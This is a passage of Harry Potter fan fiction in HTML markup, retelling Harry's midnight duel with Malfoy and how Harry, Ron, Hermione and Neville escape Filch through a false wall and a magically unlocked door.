an\nexcellent Quidditch player himself.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">At dinnertime, Ron almost choked on\na mouthful of steak and kidney pie when Harry told him what had happened when\nhe left the field with McGonagall.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; You&#8217;re joking!&#8217; He said when he regained his breath. &#8216; Seeker?\nBut first years never &#8211; you must be the youngest house player in about &#8211;&#8216;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; &#8211; a century.&#8217; Said Harry, eating his own dinner as fast as he\ncould. He was extra-hungry after not eating at lunch and then exerting himself\nso much to save Malfoy and the Remembrall. &#8216; Wood told me.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron was so amazed, so impressed, he\njust sat and gaped at Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I start training next week.&#8217; Harry continued. &#8216; Only don&#8217;t tell\nanyone, Wood wants to keep it a secret. And close your mouth, before a bat\nflies in thinking it&#8217;s a cave.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Fred and George Weasley now entered\nthe hall, spotted Harry and hurried over.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Well done.&#8217; Said George in a low voice. &#8216; Wood told us. We&#8217;re on\nthe team too &#8211; Beaters.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I tell you, we&#8217;re going to win that Quidditch cup for sure this\nyear.&#8217; Said Fred. &#8216; We haven&#8217;t won since Charlie left, but this year&#8217;s team is\ngoing to be brilliant. You must be good, Harry, Wood was almost skipping when\nhe told us.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Anyway, we&#8217;ve got to go, Lee Jordan reckons he&#8217;s found a new\nsecret passageway out of the school.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Bet it&#8217;s that one behind the statue of Gregory the Smarmy that\nwe found in our first week. See you.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">No sooner had Fred and George\ndisappeared, than someone far less welcome showed up: Malfoy, flanked by Crabbe\nand Goyle.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Having a last meal, Potter?&#8217; Draco sneered. &#8216; When are you\ngetting the train back to the muggles?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; You&#8217;re a lot braver now that you&#8217;re not falling off your broom,\nand you&#8217;ve got your little friends to back you up.&#8217; Harry said coolly. There\nwas, of course, nothing little about Crabbe or Goyle (except their brains), but\nthere was nothing either of them could do with the entire staff sitting at the\nHigh Table.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I&#8217;d take you on any time on my own.&#8217; Said Malfoy. &#8216; Tonight if\nyou want.&#8217; Harry allowed himself to grin a little at this before Malfoy amended\nhimself. &#8216; Wands only &#8211; no contact. What&#8217;s the matter? Never heard of a\nwizard&#8217;s duel before I suppose?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Of course he has.&#8217; Ron said, standing up to face Malfoy. &#8216; I&#8217;m\nhis second, who&#8217;s yours?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Crabbe.&#8217; Draco answered without pausing. &#8216; Midnight alright?\nWe&#8217;ll meet you in the trophy room, that&#8217;s always unlocked.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">When Draco had gone, Ron and Harry\nlooked at each other.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I know I&#8217;ve read something about duelling before, but I can&#8217;t\nremember it exactly.&#8217; Harry said. &#8216; Do you know much about it? Like what do you\nmean you&#8217;re &#8216;my second&#8217;?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Well, a second&#8217;s there to take over if you die.&#8217; Said Ron\ncasually. Seeing Harry raise an eyebrow he quickly added, &#8216; But people only die\nin proper duels, you know, with real wizards. The most you and Malfoy&#8217;ll be\nable to do is send sparks at each other. Neither of you know enough magic to do\nany real damage. Or at least I know Malfoy doesn&#8217;t.&#8217; Ron said, giving Harry a\nspeculating look. Harry was always ready with some new surprise, like during\nthe flying lessons, so Ron thought that Harry might know something to use on\nMalfoy after all. &#8216;Besides, if all else fails, you can just forget your wand\nand punch him on the nose.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Excuse me.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They both looked up. It was\nHermione Granger.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Can&#8217;t a person eat in peace in this place?&#8217; said Ron, then\ngrunted as Harry elbowed him without looking away from Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione bit her lower lip and\nignored Ron, then turned to Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I couldn&#8217;t help overhearing what you and Malfoy were saying &#8211;&#8216;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Bet you could.&#8217; Ron muttered.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216;- and you mustn&#8217;t go wandering around the school at night, think\nof the points you&#8217;ll lose Gryffindor if you&#8217;re caught, and you&#8217;re bound to be.\nIt&#8217;s really very selfish of you.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I&#8217;m afraid that&#8217;s beside the point now. I said I&#8217;d be there and\nI always keep my word. Even to Malfoy.&#8217; Harry said and turned back to his\ndinner, missing the look of confusion on Hermione&#8217;s face. Any other guy, Ron\nfor example, would have justified breaking the rules by saying that it didn&#8217;t\nmatter so long as he &#8216;got even&#8217;.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Goodbye.&#8217; Said Ron, returning to his dinner as well.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">All in all, Harry didn&#8217;t think it\nwas what he&#8217;d call a perfect end to the day. &lt; Hermione thinks I&#8217;m\nselfish.&gt; Harry had thought he would have a hard time staying awake until it\nwas time to go for the duel. &lt; Hermione thinks I&#8217;m selfish.&gt; But the\noverly soft bed, and the rumbling snores of his housemates, minus Ron who was\nstill awake to leave with Harry, made it impossible to sleep regardless of how\ntired Harry was. &lt; Hermione thinks I&#8217;m selfish&#8230; Arrrrghh!&gt; Harry thought.\n&lt; Why can&#8217;t I stop thinking about that? Except she was right, in a way. And\nso was Ron when he said Malfoy might not show up.&gt; Earlier, before the two\nhad gone to bed, Ron had brought up the possibility that Malfoy wouldn&#8217;t show.\n&lt; But it doesn&#8217;t matter. I gave my word that I&#8217;d be there so I don&#8217;t have a\nchoice.&gt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry glanced at the table where he\nhad left his wand. He had put it on a spot that would come into the moon&#8217;s light\njust before midnight. The moonlight was shinning on half of his wand; when the\ntip was in full view of the moon through the window, it would be time to go.\nThere were only a few minutes to go, but Harry was restless. He got up quietly\nand went down to the common room where he and Ron had planned to meet to talk,\nsince it wasn&#8217;t a good idea to meet in their dorm as their beds were on either\nside of Dean&#8217;s. Dean was a notoriously light sleeper.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry crept down the staircase and\ninto the common room. A few embers were still glowing in the fireplace, turning\nall the chairs into hunched black shadows. Harry chose one facing the portrait\nhole, with it&#8217;s back to the two staircases, and settled down to wait for Ron. A\nminute later he heard footsteps coming downstairs, but they were coming from\nthe girls&#8217; side. Frowning Harry remained still, trusting to his black robes and\nhair to hide him in the shadows if the person came in front of his chair.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">When he finally saw who it was he\nalmost gave himself away with a gasp. It was Hermione, wearing a white night\nshirt and pink shorts.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">After a moment of shocked silence,\nHarry was about to say hello and find out what she was doing in the common room\nat this hour, though he had a pretty good idea, but then he heard her mutter\nhis name, and he instinctively froze and listened.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I can&#8217;t believe I&#8217;m out of my dorm after curfew! I sure hope\nHarry appreciates this!&#8217; she was grumbling. &#8216; Honestly! First on the broom and\nnow he&#8217;s going to duel with Malfoy! As if I wasn&#8217;t worried enough for him on\nthe broom, now he goes and picks a fight with a much more experienced wizard&#8230;&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">At this point Harry realized that\nhe had been eavesdropping. Harry felt rather bad about it and would have gotten\nup and said something, but if he did then Hermione would know the he had been\neavesdropping. He decided to wait for Ron to come down and distract Hermione so\nhe could move to the stairs and pretend to be just coming down. It wasn&#8217;t easy\nto wait, with Hermione sitting across from Harry, in her nightshirt, gazing at\nthe embers that were still left in the fireplace. Harry found himself slipping\ninto a sort of trance, but not one like he did when he meditated. When Harry\nwent into a meditative trance, he felt totally disconnected from everything\nthat happened, both physically and mentally, though this didn&#8217;t slow his\nreflexes. The trance he was slipping into now was different though. He felt\nmore connected to everything, and everything seemed to be more solid and\ndetailed than normal, but he was having trouble remembering small things, like\nwhatever Hermione had been saying about Harry in the first place. Harry also\nfound that he simply couldn&#8217;t move. Or more accurately, he couldn&#8217;t seem to\nmake himself want to move. So Harry sat there staring at Hermione, in her\nnightshirt and shorts, until Ron came down.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry finally snapped out of it\nwhen he heard footsteps coming down the boys&#8217; stairway, and then heard Ron\nwhispering.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Hey, Harry. Harry, where are you?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">From where Harry was, he could see\nHermione&#8217;s puzzlement. She had obviously thought that Harry was still up in his\ndorm, but if Ron was looking for Harry in the common room&#8230;. Hermione lit a lamp\nbeside her chair and stood to talk to Ron, but didn&#8217;t get a chance to say\nanything before Ron.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&quot;You!&quot; said Ron\nfuriously. &quot;Go back to bed!&quot;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&quot;I almost told your\nbrother,&quot; Hermione snapped, &quot;Percy - he\'s a prefect, he\'d put a stop\nto this.&quot;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry frowned and wondered &lt;Why\nis she trying to stop us from going? I&#8217;m sure she&#8217;s not worried that we&#8217;ll hurt\nMalfoy.&gt; Harry would have pondered this longer, but at that point Ron and\nHermione both had turned away from him, arguing about the consequences of being\nout of their dorm after curfew, and Harry took the opportunity to get out of\nhis chair and creep silently over to the stairs.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Knowing that Ron at least, would\nask him where he had been, and since he neither wanted to say that he had been\neavesdropping on Hermione nor did he want to lie, Harry went up the stairs to\nthe washroom and came back.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">At this point Ron and Hermione were\nstarting to forget what time it was and were beginning to raise their voices.\nThey were so engrossed in the argument that they didn&#8217;t notice Harry come\nnoisily back down the stairs and walk over to where they were standing.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry was about to say something\nwhen he remembered Katie screaming when he said hello to her because she hadn&#8217;t\nnoticed him in the dark on the first night. So instead of calling out to the\ntwo from where he was, and risk scaring them, Harry walked over to them and, as\nthey still hadn&#8217;t noticed him, he waved his hand in front of their faces.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The two whipped their heads around\nand snapped &#8220;What?!&#8221; at the same time, before realizing who it was.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Harry!&#8217; the both said in relief, still in unison.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I hope that you at least will listen to reason.&#8217; Said Hermione\nin an exasperated tone.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Reason? What does that have to do with anything?!&#8217; exclaimed\nRon. He had obviously become entirely too caught up in the argument and his\nbaseless dislike of Hermione, and was now just disagreeing with anything\nHermione said.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; You know, I really can&#8217;t agree with either of you.&#8217; Harry\nstarted, in a calming voice, before the two could start up again. &#8216; I don&#8217;t\neven know what you two are arguing about, now.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione took a slow breath and was\nabout to start explaining, when Ron interrupted.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; We don&#8217;t have time for this anyway, Harry, we&#8217;ve got to go,\nremember? And anywho, where were you?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I was just in the washroom,&#8217; said Harry casually. &#8216; You&#8217;re right\nthough; we do need to leave. I don&#8217;t want to give Malfoy any reason to call me\na coward.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione&#8217;s eyes bulged as Harry\nsaid this.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Don&#8217;t you care about Gryffindor, do you only care about\nyourselves, I don&#8217;t want Slytherin to win the house cup, and you&#8217;ll lose all\nthe points I got from Professor McGonagall for knowing about Switching Spells.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Look, Hermione.&#8217; Harry said , placatingly. &#8216; I know the reasons\nfor not going, but do you know the reasons for going?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Well&#8230; no, but-&#8216; Hermione said, looking down.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Harry, come on! Quit wasting time!&#8217; Ron said tugging on Harry&#8217;s\nrobes. &#8216; She&#8217;ll never understand, she&#8217;s to dense, let&#8217;s just go, already!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hearing this, Harry almost laughed\nfor the first time in years, but Hermione failed to see anything funny about\nRon&#8217;s comment. She looked about ready to curse Ron into oblivion, as soon as\nshe found the right curse. Not wanting to waste even more time in an argument,\nHarry intervened.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Hermione, right or wrong, I said that I would be there. I will\nnot break my word to anyone. Even Malfoy.&#8217; Said Harry, in a firm tone. &#8216; So\nplease, don&#8217;t tell anyone that we&#8217;ve gone?&#8217; He continued in an almost pleading\ntone.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Without waiting for an answer,\nHarry turned to the portrait hole, and went through, pulling Ron after him.\nHermione wasn&#8217;t going to give up that easily. She followed Ron through the\nportrait hole, hissing angrily.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; All right, but I warned you,&#8217; she said, looking more worried\nthan angry. &#8216; You just remember what I said when you&#8217;re on the train home\ntomorrow, you&#8217;re so &#8212;&#8216;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But what they were, they didn&#8217;t find\nout. Hermione had turned to the portrait of the Fat Lady to get back inside and\nfound herself facing an empty painting. The Fat Lady had gone on a nighttime\nvisit and Hermione was locked out of Gryffindor tower.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8216; Now what am I going to do?&#8217; she\nasked shrilly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; That&#8217;s your problem,&#8217; said Ron. &#8216; We&#8217;ve got to go, we&#8217;re going\nto be late.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They hadn&#8217;t even reached the end of\nthe corridor when Hermione caught up with them.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I&#8217;m coming with you,&#8217; she said.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; You are not.&#8217; Ron said.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; D&#8217;you think I&#8217;m going to stand out here and wait for Filch to\ncatch me? If he finds all three of us I&#8217;ll tell him the truth, that I was\ntrying to stop you, and you can back me up.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; You&#8217;ve got some nerve &#8212;&#8216; said Ron loudly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Suddenly Harry held up his hand,\nsilencing both of them.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Shhh,&#8217; he whispered, &#8216; I thought I heard something.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It was a sort of snuffling sound.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Is it Mrs. Norris?&#8217; Ron asked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; No,&#8217; Harry muttered. &#8216; it&#8217;s human.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; How could you possibly tell- &#8216; Hermione started to scoff, before\nthey came across the sleeping form of Neville.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8216; Huh.&#8217; Ron snorted. &#8216; Well,\nHermione, I don&#8217;t know how common it is for girls to snore, but when you sleep\nin the guys dorm, you learn to recognize this sort of sound.&#8217; He said with a\nshit-eating grin.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione flushed and retorted &#8216;\nThen why did you think it was a cat?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Fortunately, Neville woke up then,\nputting a stop to the ensuing argument before it could get out of hand.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Thank goodness you found me!&#8217; exclaimed Neville as he woke to\nfind the three standing over him. &#8216; I&#8217;ve been out here for hours. I couldn&#8217;t\nremember the password to get in.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Keep your voice down, Neville. The password is &#8220;Pig Snout&#8221;, but\nthat won&#8217;t do you any good right now, the fat Lady&#8217;s gone off somewhere.&#8217;\nHermione informed him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; How&#8217;s your arm?&#8217; asked Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Oh, it&#8217;s just fine now. Madame Pomfrey fixed it up in about a\nminute.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Good &#8211; well look, Neville, we have to be somewhere, we&#8217;ll see\nyou later- &#8216;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Don&#8217;t leave me!&#8217; said Neville, scrambling to his feet. &#8216; The\nBloody Baron&#8217;s been past twice already.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron glared at his watch, then at\nNeville and Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; If either of you two get us caught, I&#8217;ll never rest until I&#8217;ve\nlearned that Curse of the Bogies Quirrell told us about, and used it on you.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Neville trembled at this threat,\nbut Hermione looked completely unimpressed. She opened her mouth, perhaps to\ntell Ron what Harry already knew, that there was no such thing, Prof. Quirrell\nhad been making it up, but Harry put a finger to her lips to keep her quiet,\nand motioned for everyone to follow him down the corridor.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They flitted along corridors\nstriped with bars of moonlight from the high windows. At every turn they\nexpected to run into Filch or Mrs. Norris, but Harry was able to lead them\naround any ghosts that crossed their path, and they never saw either Filch or\nMrs. Norris. They sped up a staircase to the third floor and tiptoed toward the\ntrophy room.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Malfoy and Crabbe weren&#8217;t there\nyet. The crystal trophy cases glimmered where the moonlight caught them. Cups,\nshields, plates, and statues winked silver and gold in the darkness. They edged\nalong the walls, keeping their eyes on the doors at either end of the room.\nHarry took out his wand in case Malfoy leapt in and started at once. The\nminutes crept by.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; He&#8217;s late, maybe he&#8217;s chickened out.&#8217; Ron whispered.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry didn&#8217;t think that Malfoy\nwould have chickened out. If Malfoy wasn&#8217;t here yet, then it was probably\nbecause he had never intended to come. Harry told the others what he thought\nand, although Ron didn&#8217;t agree, he didn&#8217;t say he disagreed either. Neville just\nwanted to go back to the portrait and wait for the fat Lady, but Hermione\nthought about it for a second and agreed with Harry in the end.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Hmmmm&#8230; You&#8217;re most likely right. If he had intended to show up\nin the first place, he would have been here early probably. Since he&#8217;s not here\nthen he probably is back in his dorm laughing&#8230; it seems like a trick someone of\nhis intelligence would pull.&#8217; Said Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Then a noise in the next room made\nthem jump. Harry had his wand raised with a curse ready on his lips when they\nheard someone speak &#8212; and it wasn&#8217;t Malfoy.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Sniff around, my sweet. I know they&#8217;re around here somewhere.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It was Filch speaking to Mrs.\nNorris. Biting back a few choice words, Harry waved to everyone to follow him\nas he ran at an apparently solid wall.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Not knowing what else to do, the\nothers followed Harry. Hermione almost cried out as Harry ran smack into the\nwall. Ron on the other hand swore loudly, attracting Filch&#8217;s attention. Except\nthat Harry hadn&#8217;t ran into the wall. He had disappeared a foot before it. Then\nhis head popped back through the wall.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Come on! Just run at the wall.&#8217; He told the others. &#8216; So long as\nyou run right at it, the wall will let you through.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">In any other circumstances, the\nother three probably wouldn&#8217;t have been able to make themselves do it, but\nFilch chose that moment to come barrelling around the corner into the trophy\nroom with Mrs. Norris right on his heels.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione turned to Neville and Ron,\nand, grabbing their hands, she ran through the wall, pulling them behind her.\nThey emerged to find Harry leaning on the wall waiting for them, his usual lack\nof expression still apparent.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Come on,&#8217; he said, standing up straight. &#8216; Filch is bound to\nfigure out where we went soon enough.&#8217; He turned and started to jog down the\ncorridor. Hermione and Ron started to follow with Neville a few feet back.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Suddenly they heard Filch shout, &#8220;\nAh-ha! The false wall! Now I&#8217;ve got you!&#8221; He had, apparently, figured out where\nthey had gone, and the four students sped up.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Then there was the sound of loud\ncursing from behind the four. Apparently the wall had decided to behave like a\nnormal wall while Filch was still halfway inside it. Glancing back they could\nsee most of his upper body sticking out of the now solid wall, his face an ugly\nshade of purple as he screamed at the wall to let him go.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Both Ron and Neville almost fell\nover laughing, and it was lucky for them that Filch was trapped so that he\ncouldn&#8217;t turn enough to see the faces of the students that were laughing at his\npredicament. Fortunately for Ron and Neville, Harry and Hermione (AN- What a\nbeautiful phrase!) were still paying attention to Filch, because the wall had\nstarted to revert to it&#8217;s passable state, and Filch was slowly pulling himself\nfree. If they stayed where they were much longer Filch would catch them for\nsure.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; RUN!&#8217; Harry shouted, hoping that Filch would not recognize his\nvoice later.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron and Neville looked at Filch,\nstruggling to get free, then turned and bolted past Harry. Together, the four\nof them sprinted down the gallery, not looking back to see whether Filch was\nfollowing &#8212; they swung around the doorpost and galloped down one corridor then\nanother, Neville in the lead, without any idea where they were or where they\nwere going &#8212; they ripped through a tapestry and found themselves in a hidden\npassageway, hurtled along it and came out near their Charms classroom, which\nthey knew was miles from the trophy room.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I-*pant* think we--*pant pant*- lost him.&#8217; Ron gasped, holding\nhis side and stopping to rest.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Everyone was on the point of\ncollapse after their sudden sprint, except maybe Harry, who was only breathing\na bit harder than normal.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I &#8212; told &#8212; you,&#8217; Hermione gasped, clutching at the stitch in her\nchest, &#8216; I &#8212; told &#8212; you.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; We&#8217;ve got to get back to Gryffindor tower,&#8217; said Ron, &#8216; quickly\nas possible.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Malfoy tricked you,&#8217; Hermione said to Harry. &#8216; You realize that,\ndon&#8217;t you? He was never going to meet you &#8212; Filch knew someone was going to be\nin the trophy room, Malfoy must have tipped him off.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I know.&#8217; Harry said. &#8216; I figured he might try that. In fact,\nthat&#8217;s why I asked the twins about any ways in or out of the trophy room that\nmost people might not know about.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I was wondering how you knew about that.&#8217; Ron admitted.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry shook his head grimly. &#8216; I\nshould have anticipated that Filch would know about it though. If that wall\nhadn&#8217;t decided to go solid right then&#8230;&#8217; he let it hang.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Well as much fun as that was, why don&#8217;t we go back to the common\nroom now?&#8217; Neville asked. He was still looking over his shoulder nervously\nevery few seconds.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Yes. Perhaps the fat Lady will be back now and we can go back to\nour dorms, where we should have been in the first place.&#8217; Hermione said acidly,\nlooking at Ron, as though it was his fault she was locked out of Gryffindor\ntower.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They started to make their way\nthrough the corridors, back to their dorms. Ron and Hermione were back to\nignoring each other as much as possible, Neville was to shy and nervous to say\nanything and Harry was concentrating on making sure they weren&#8217;t caught by any\nwandering ghosts. All in all it was a very quiet walk. It was almost relaxing,\nuntil Peeves came zooming around a corner ahead of them. He spotted them before\nthey could hide.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Wandering around at midnight, Ickle Firsties?&#8217; he jeered. &#8216; Tut,\ntut, tut. Naughty, naughty, you&#8217;ll get caughty.&#8217; Then he cracked a grin at\nHarry. &#8216; At least you will if you don&#8217;t find somewhere to hide quickly. Seems\nsome students were laughing at Filchy-pie and he&#8217;s rather eager to catch them.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Both Neville and Hermione were\nlooking scared, as if they were just waiting for Peeves to start shouting for\nFilch. Ron, on the other hand, had gone as red as his hair. He looked like he\nwas about to explode at Peeves, but Harry just smirked and nodded at Peeves\nbefore motioning for everyone to follow him as he searched desperately for a\nplace to hide.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Over here!&#8217; hissed Ron, standing before a door at the end of the\ncorridor.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The others rushed over to Ron but\nwhen he tried the door it was locked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Shi-oot!&#8217; spat Ron. &#8216; It&#8217;s locked!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Just then they heard footsteps\ncoming towards them from the direction they had been headed in.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Oh, get out of the way!&#8217; Hermione snarled, shoving Ron away and\nlooking closely at the lock. &#8216; Give me your wand, someone.&#8217; She said, holding\nout her hand.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; This is it!&#8217; Ron moaned, as he pushed uselessly at the door, &#8216;\nWe&#8217;re done for! This is the end!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry playfully slapped the back of\nRon&#8217;s head as he handed his wand to Hermione. &#8216; Don&#8217;t give up before you&#8217;re\ncaught.&#8217; He advised.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione tapped the lock and said &#8220;\nAlohomora!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The lock clicked and the door swung\nopen &#8212; they piled through it, shut it quickly, and pressed their ears against\nit, listening.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They heard Filch arrive in front of\nthe door they had just gone through. Everyone&#8217;s eyes bugged out as they\nlistened to Filch talking to himself.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Grrr. I know I heard them around here somewhere.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Then, to their horror, they heard\nhim start opening doors on the far end of the corridor, checking the rooms for\nunruly students.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Neville and Hermione started\nbreathing quickly, panicking. To tell the truth Ron was panicking also, but\nhiding it better. It was only a matter of time before Filch would find them.\nHarry tried to calm his mind and think of any magic he had learned or heard of\nthat might keep Filch from opening the door, or even just distract him. He\nnoticed Hermione 